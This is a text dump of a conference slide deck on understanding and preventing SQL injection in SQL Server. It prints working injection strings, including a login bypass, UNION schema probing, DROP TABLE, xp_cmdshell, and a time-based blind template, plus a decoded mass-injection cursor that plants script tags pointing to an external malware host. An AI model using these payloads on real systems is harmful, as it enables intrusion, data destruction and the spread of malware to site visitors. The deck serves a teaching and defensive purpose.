SlideShare a Scribd company logo
1 of 29
SQLintersection
Understanding & Preventing SQL Injection Attacks
Kevin Kline
kkline@sqlsentry.com
SQL123
Overview
 What is SQL Injection?
 An Attacker’s Approach
 SQL Injection Techniques
 Preventing SQL Injection
 Security Best Practices & Tips
 Useful Links and Resources
Freebies!
 Free new ebooks (regularly $10) to all requests to sales@sqlsentry.com:
Context and Background
Like This…
Courtesy of http://xkcd.com/327/
© SQLintersection. All rights reserved.
http://www.SQLintersection.com
What is it and why should I care?
Understanding SQL Injection
6
What is SQL Injection?
 SQL injection occurs when a malicious user controls the criteria of SQL
statements and enters values that alter the original intention of the SQL
statement
 DEMO
Who is Vulnerable?
 All SQL database platforms are susceptible
 Bypasses firewall and network-based protections
 Applications that dynamically build and send SQL strings are most
vulnerable:
 Exploits the inexperienced developer
 Amplified by silos in IT teams
 SQL statement itself is hacked
 Formatting vulnerabilities
© SQLintersection. All rights reserved.
http://www.SQLintersection.com
Typical Webcode…
string cmdStr = @"SELECT order_id, order_date, qty
FROM Production.Orders
WHERE customer_name LIKE '%" + SearchText.Text
+ "%'";
using (SqlConnection conn = new SqlConnection(connStr))
using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))
{
DataTable dtOrders = new DataTable();
sda.Fill(dtOrders);
return dtOrders.DefaultView;
}
10
Injected Values Can Range from Bad…
The “Good” search text:
'Hanso Foundation'
The “Curious” search text:
'Widmore Industries' or 1=1 -- ‘
The “Exploratory” search text:
…ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'Address' --
11
…To Worse
The Ugly search text:
…ZZZ'; DROP TABLE customer_credit_card --
The REALLY UGLY search text:
…ZZZ'; xp_cmdshell(‘FTP …’)
Attack Methodology
Reconnaissance (Recon)
Scan for Vulnerabilities / Access (Scan)
Gain Access (Crack)
Escalate Privileges (Enhance)
Maintain/Expand Access (Expand)
Cover Tracks (Hide)
Attackers…
 …understand the concept of ‘surface area’
 …use error messages to learn about the structure of the underlying SQL
statements and database
 …exploit SQL formatting characters (single quotes, comment notation (--
), semi-colons, etc)
Then Attackers…
 …manipulate the SQL statements to learn about the structure of the
database and data
 …execute SQL statements at will
 …use built-in trap doors inside of the DBMS to go to the next level
 Upload their own files, even replacing your own
 Examine the rest of your infrastructure
 Download data
 Launch malware and bots
SQL Injection Techniques
 Probe databases, especially packaged apps
 Bypass authorization
 Cross-database and cross-server calls
 Execute multiple SQL statements
 Call built-in stored procedures
 Exit to the OS for command-line access
 Insert code to be used by the web app
 Swap DLL and other files for their own
Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Unclosed quotation mark before the character string ′having 1 = 1--′.
/Project1/MyDemoApp.exe, line 14
Probing Databases
 Web apps usually return connectivity error information – unless you trap
the errors!
 Hackers can use this information and continually modify parameters to
discover:
 Table names, column names, data types, row values
17
Bypassing Authorization
Good Guy, passes these values - UserID: administrator
Password: GoodOne
SELECT *
FROM users
WHERE username = ‘administrator’
AND password = ‘GoodOne’;
Bad Guy, passes this value - UserID: ‘ OR 1=1 Password
--
SELECT *
FROM users
WHERE username = ‘’ OR 1=1 – and password =
18
INSERT Statement Injections
Good Guy
INSERT INTO Authors (auName, EmailAddress)
VALUES (‘Julian Isla’, ‘juliani@hotmail.com)
Bad Guy
INSER INTO Authors (auName, EmailAddress)
VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’,
badguy@hacker.com’);
EXEC xp_regread HKEY… ;
Very Bad Guy, uses scripting and text/xml fields
Blind SQL Injection
 Good apps trap default errors and show their own. Hackers flank this
with:
 Normal Blind: Get response data from error codes, severity levels, and HTTP
status codes
 Totally Blind: Gather data through IF…THEN testing, response times, logging,
and system functions.
© SQLintersection. All rights reserved.
http://www.SQLintersection.com
Blind Injection Example, #1
DECLARE @x as int;
DECLARE @w as char(6);
SET
@x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QU
ERY} as varbinary(8000))),{POSITION},1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*{SECONDS} as char);
WAITFOR DELAY @w
2
© SQLintersection. All rights reserved.
http://www.SQLintersection.com
Cast Injection Example, #1
URL query string:
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(400
0));EXEC(@S);--
Decoded:
DECLARE @S NVARCHAR(4000);
SET @S= CAST(0x440045004300...7200 AS NVARCHAR(4000));
EXEC(@S);--
SELECT CAST('this could be bad code' AS VARBINARY(256))
SELECT CAST(0x7468697320636F756C6420626520736F6D652062616420636F6465 AS VARCHAR(256))
© SQLintersection. All rights reserved.
http://www.SQLintersection.com
Cast Injection Example, #2
Final SQL code being executed (hex value decoded):
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.211796*.net/f****p.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Attack Vector To Other Resources
 Attackers have chosen not to go after data
 Targets have been legitimate web sites
 Plant links and redirects to malware sites
 Use of a blended attack (browser vulnerability) to infect the client
computer
 Take control of client computers
© SQLintersection. All rights reserved.
http://www.SQLintersection.com
Hey, do you think we should lock the doors, mom?
Preventing SQL Injection
24
© SQLintersection. All rights reserved.
http://www.SQLintersection.com
Simple Rules Applied Logically
Server
- Make sure data and log
files are on NTFS with
proper ACLs applied.
- Disable any service that is
unneeded and unused (e.g.
SQL Browser service,
unneeded network
protocols); Consider
Windows Core
- Use Windows
Authentication where
feasible..
Database
- Enable ‘Non-sysadmin job
step proxy account’ on SQL
Server Agent.
- Restrict system stored
proc’s and XP’s to SA-only
- Remove guest from all but
master and tempdb
- Provision by role, not user
- Demand security savvy
third-party applications!
Accounts
- Noone gets SA, except SA.
- Separate accounts for SQL
Server and SQL Agent
services.
- Don’t use local service
account for services.
SQL Code
- Input validation: Black list
vs white list
- Use stored procedure to
hide application logic. No
default error messages. No
direct access to tables
- Use parameterized input,
not string concatenation
- Multi layered input
checking: application,
stored procedure, database
schema
Monitoring for SQL Injection
 Monitor failed login attempts. Alert when they’re frequent.
 Check for null and weak passwords frequently within your apps. SQLPing
tool is great for this.
 Check for non-SA permissions on all system SPs and XPs
 Microsoft Assessment and Planning (MAP) is a great tool to research
your total estate, available at http://www.Microsoft.com/MAP.
 Xevent or Trace for non-SA execution of:
• Execute at command prompt ( xp_cmdshell )
• Registry read and write operations (xp_regaddmultistring, xp_regdeletekey,
xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread,
xp_regremovemultistring, xp_regwrite)
• Checking Services ( xp_servicecontrol )
• Visual media in the system ( xp_availablemedia )
• Directory Tree to get URL ( xp_dirtree )
• ODBC resourcer Listing ( xp_enumdsn )
• Log in to find a modem ( xp_loginconfig )
• Cabin Archive Creation ( xp_makecab )
• Finding Domain ( xp_ntsec_enumdomains )
• To terminate the process PID ( xp_terminate_process )
• Add new stored extended procedures ( sp_addextendedproc )
Stored Procedure Delete (sp_dropextendedproc)
• UNC files including writing out (sp_makewebtask)
Summary
 Do NOT Trust User Input.
 Remember the principle of “Least Privilege”.
 Defense in Depth: Middle tier  App  Database 
SQL Code
 Fail Intelligently: Filter default error messages and
limit the information in custom error messages.
 Minimize the “attack surface”: Remove unused
stored procedures, views, and UDFs. Use views and
stored procedures instead of base tables.
 Use Parameterized Queries or Stored Procedures: Do
NOT use string concatenations to build SQL queries.
 Test Security!
Resources
 http://www.sqlsecurity.com – my favorite for broad security and tools
on SQL Server
 Microsoft SQL Injection white paper at http://msdn.microsoft.com/en-
us/library/ms161953.aspx
 How-to: Prevent SQL Injection on ASP.Net
http://msdn.microsoft.com/en-us/library/ms998271.aspx
 A Dutch research paper (in English) discussing platform independent
ways to defend against SQL injections:
http://swerl.tudelft.nl/twiki/pub/Main/TechnicalReports/TUD-SERG-
2007-003.pdf
 SQL Injection Cheat Sheet: http://ferruh.mavituna.com/sql-injection-
cheatsheet-oku/
Don’t forget to complete an online evaluation on EventBoard!
Your evaluation helps organizers build better conferences
and helps speakers improve their sessions.
Questions?
Thank you!
Understanding & Preventing SQL Injection Attacks
Kevin Kline, @KEKline, kkline@sqlsentry.com

More Related Content

What's hot

Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Nuno Loureiro
 
SQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterSQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterMichael Coates
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresCade Zvavanjanja
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionSina Manavi
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection TutorialMagno Logan
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity FrameworksRich Helton
 
Time-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesTime-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesChema Alonso
 
SQL Injection attack
SQL Injection attackSQL Injection attack
SQL Injection attackRayudu Babu
 
Web Application Security 101 - 14 Data Validation
Web Application Security 101 - 14 Data ValidationWeb Application Security 101 - 14 Data Validation
Web Application Security 101 - 14 Data ValidationWebsecurify
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injectionamiable_indian
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONMentorcs
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injectionmatt_presson
 
Time-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesTime-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesChema Alonso
 

What's hot (20)

Sql injection
Sql injectionSql injection
Sql injection
 
Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks
 
SQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterSQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning Center
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasures
 
A Brief Introduction in SQL Injection
A Brief Introduction in SQL InjectionA Brief Introduction in SQL Injection
A Brief Introduction in SQL Injection
 
SQL Injection Defense in Python
SQL Injection Defense in PythonSQL Injection Defense in Python
SQL Injection Defense in Python
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection Tutorial
 
SQL Injection in JAVA
SQL Injection in JAVASQL Injection in JAVA
SQL Injection in JAVA
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity Frameworks
 
Time-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesTime-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy Queries
 
SQL Injection attack
SQL Injection attackSQL Injection attack
SQL Injection attack
 
Web Application Security 101 - 14 Data Validation
Web Application Security 101 - 14 Data ValidationWeb Application Security 101 - 14 Data Validation
Web Application Security 101 - 14 Data Validation
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injection
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
 
Time-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy QueriesTime-Based Blind SQL Injection Using Heavy Queries
Time-Based Blind SQL Injection Using Heavy Queries
 

Viewers also liked

Ultimate Free SQL Server Toolkit
Ultimate Free SQL Server ToolkitUltimate Free SQL Server Toolkit
Ultimate Free SQL Server ToolkitKevin Kline
 
Top 10 DBA Mistakes on Microsoft SQL Server
Top 10 DBA Mistakes on Microsoft SQL ServerTop 10 DBA Mistakes on Microsoft SQL Server
Top 10 DBA Mistakes on Microsoft SQL ServerKevin Kline
 
Sql Injection Attacks Siddhesh
Sql Injection Attacks SiddheshSql Injection Attacks Siddhesh
Sql Injection Attacks SiddheshSiddhesh Bhobe
 
D:\Technical\Ppt\Sql Injection
D:\Technical\Ppt\Sql InjectionD:\Technical\Ppt\Sql Injection
D:\Technical\Ppt\Sql Injectionavishkarm
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONAnoop T
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationRapid Purple
 
Reduce latency and boost sql server io performance
Reduce latency and boost sql server io performanceReduce latency and boost sql server io performance
Reduce latency and boost sql server io performanceKevin Kline
 
Convince me – persuasion techniques that get things done
Convince me – persuasion techniques that get things doneConvince me – persuasion techniques that get things done
Convince me – persuasion techniques that get things doneKevin Kline
 
Who wants to be a DBA? Roles and Responsibilities
Who wants to be a DBA? Roles and ResponsibilitiesWho wants to be a DBA? Roles and Responsibilities
Who wants to be a DBA? Roles and ResponsibilitiesKevin Kline
 
SQL Injection in PHP
SQL Injection in PHPSQL Injection in PHP
SQL Injection in PHPDave Ross
 
Sql Injection Tutorial!
Sql Injection Tutorial!Sql Injection Tutorial!
Sql Injection Tutorial!ralphmigcute
 
Neutralizing SQL Injection in PostgreSQL
Neutralizing SQL Injection in PostgreSQLNeutralizing SQL Injection in PostgreSQL
Neutralizing SQL Injection in PostgreSQLJuliano Atanazio
 
End-to-end Troubleshooting Checklist for Microsoft SQL Server
End-to-end Troubleshooting Checklist for Microsoft SQL ServerEnd-to-end Troubleshooting Checklist for Microsoft SQL Server
End-to-end Troubleshooting Checklist for Microsoft SQL ServerKevin Kline
 
SQL Injection - The Unknown Story
SQL Injection - The Unknown StorySQL Injection - The Unknown Story
SQL Injection - The Unknown StoryImperva
 
Defcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionDefcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionAhmed AbdelSatar
 
Prevention of SQL Injection Attacks having XML Database
Prevention of SQL Injection Attacks having XML DatabasePrevention of SQL Injection Attacks having XML Database
Prevention of SQL Injection Attacks having XML DatabaseIOSR Journals
 
Website attack n defacement n its control measures
Website attack n defacement n its control measures Website attack n defacement n its control measures
Website attack n defacement n its control measures أحلام انصارى
 
Blind SQL Injection - Optimization Techniques
Blind SQL Injection - Optimization TechniquesBlind SQL Injection - Optimization Techniques
Blind SQL Injection - Optimization Techniquesguest54de52
 

Viewers also liked (20)

Sql injection
Sql injectionSql injection
Sql injection
 
Ultimate Free SQL Server Toolkit
Ultimate Free SQL Server ToolkitUltimate Free SQL Server Toolkit
Ultimate Free SQL Server Toolkit
 
Top 10 DBA Mistakes on Microsoft SQL Server
Top 10 DBA Mistakes on Microsoft SQL ServerTop 10 DBA Mistakes on Microsoft SQL Server
Top 10 DBA Mistakes on Microsoft SQL Server
 
Sql Injection Attacks Siddhesh
Sql Injection Attacks SiddheshSql Injection Attacks Siddhesh
Sql Injection Attacks Siddhesh
 
D:\Technical\Ppt\Sql Injection
D:\Technical\Ppt\Sql InjectionD:\Technical\Ppt\Sql Injection
D:\Technical\Ppt\Sql Injection
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint Presentation
 
Reduce latency and boost sql server io performance
Reduce latency and boost sql server io performanceReduce latency and boost sql server io performance
Reduce latency and boost sql server io performance
 
Convince me – persuasion techniques that get things done
Convince me – persuasion techniques that get things doneConvince me – persuasion techniques that get things done
Convince me – persuasion techniques that get things done
 
Who wants to be a DBA? Roles and Responsibilities
Who wants to be a DBA? Roles and ResponsibilitiesWho wants to be a DBA? Roles and Responsibilities
Who wants to be a DBA? Roles and Responsibilities
 
SQL Injection in PHP
SQL Injection in PHPSQL Injection in PHP
SQL Injection in PHP
 
Sql Injection Tutorial!
Sql Injection Tutorial!Sql Injection Tutorial!
Sql Injection Tutorial!
 
Neutralizing SQL Injection in PostgreSQL
Neutralizing SQL Injection in PostgreSQLNeutralizing SQL Injection in PostgreSQL
Neutralizing SQL Injection in PostgreSQL
 
End-to-end Troubleshooting Checklist for Microsoft SQL Server
End-to-end Troubleshooting Checklist for Microsoft SQL ServerEnd-to-end Troubleshooting Checklist for Microsoft SQL Server
End-to-end Troubleshooting Checklist for Microsoft SQL Server
 
SQL Injection - The Unknown Story
SQL Injection - The Unknown StorySQL Injection - The Unknown Story
SQL Injection - The Unknown Story
 
Defcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionDefcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injection
 
Prevention of SQL Injection Attacks having XML Database
Prevention of SQL Injection Attacks having XML DatabasePrevention of SQL Injection Attacks having XML Database
Prevention of SQL Injection Attacks having XML Database
 
Website attack n defacement n its control measures
Website attack n defacement n its control measures Website attack n defacement n its control measures
Website attack n defacement n its control measures
 
Blind SQL Injection - Optimization Techniques
Blind SQL Injection - Optimization TechniquesBlind SQL Injection - Optimization Techniques
Blind SQL Injection - Optimization Techniques
 

Similar to Understanding and preventing sql injection attacks

SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10bilcorry
 
Code injection and green sql
Code injection and green sqlCode injection and green sql
Code injection and green sqlKaustav Sengupta
 
How "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersHow "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersChema Alonso
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingChema Alonso
 
Hackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection AttacksHackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection Attacksamiable_indian
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers dofangjiafu
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi pptAhamed Saleem
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injectionashish20012
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Securityjemond
 
SQLCLR For DBAs and Developers
SQLCLR For DBAs and DevelopersSQLCLR For DBAs and Developers
SQLCLR For DBAs and Developerswebhostingguy
 
Dr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. HydeDr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. Hydewebhostingguy
 
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)Grand Parade Poland
 
ShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL InjectionShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL InjectionChema Alonso
 
Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injectionnewbie2019
 

Similar to Understanding and preventing sql injection attacks (20)

SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
Sql injection
Sql injectionSql injection
Sql injection
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Greensql2007
Greensql2007Greensql2007
Greensql2007
 
Code injection and green sql
Code injection and green sqlCode injection and green sql
Code injection and green sql
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
 
How "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scannersHow "·$% developers defeat the web vulnerability scanners
How "·$% developers defeat the web vulnerability scanners
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File Downloading
 
Hackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection AttacksHackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection Attacks
 
ASP.NET Web Security
ASP.NET Web SecurityASP.NET Web Security
ASP.NET Web Security
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi ppt
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
SQLCLR For DBAs and Developers
SQLCLR For DBAs and DevelopersSQLCLR For DBAs and Developers
SQLCLR For DBAs and Developers
 
Dr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. HydeDr. Jekyll and Mr. Hyde
Dr. Jekyll and Mr. Hyde
 
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
 
ShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL InjectionShmooCON 2009 : Re-playing with (Blind) SQL Injection
ShmooCON 2009 : Re-playing with (Blind) SQL Injection
 
Real web-attack-scenario
Real web-attack-scenarioReal web-attack-scenario
Real web-attack-scenario
 
Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injection
 

Recently uploaded

Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUK Journal
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfhans926745
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdfChristopherTHyatt
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 

Recently uploaded (20)

Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
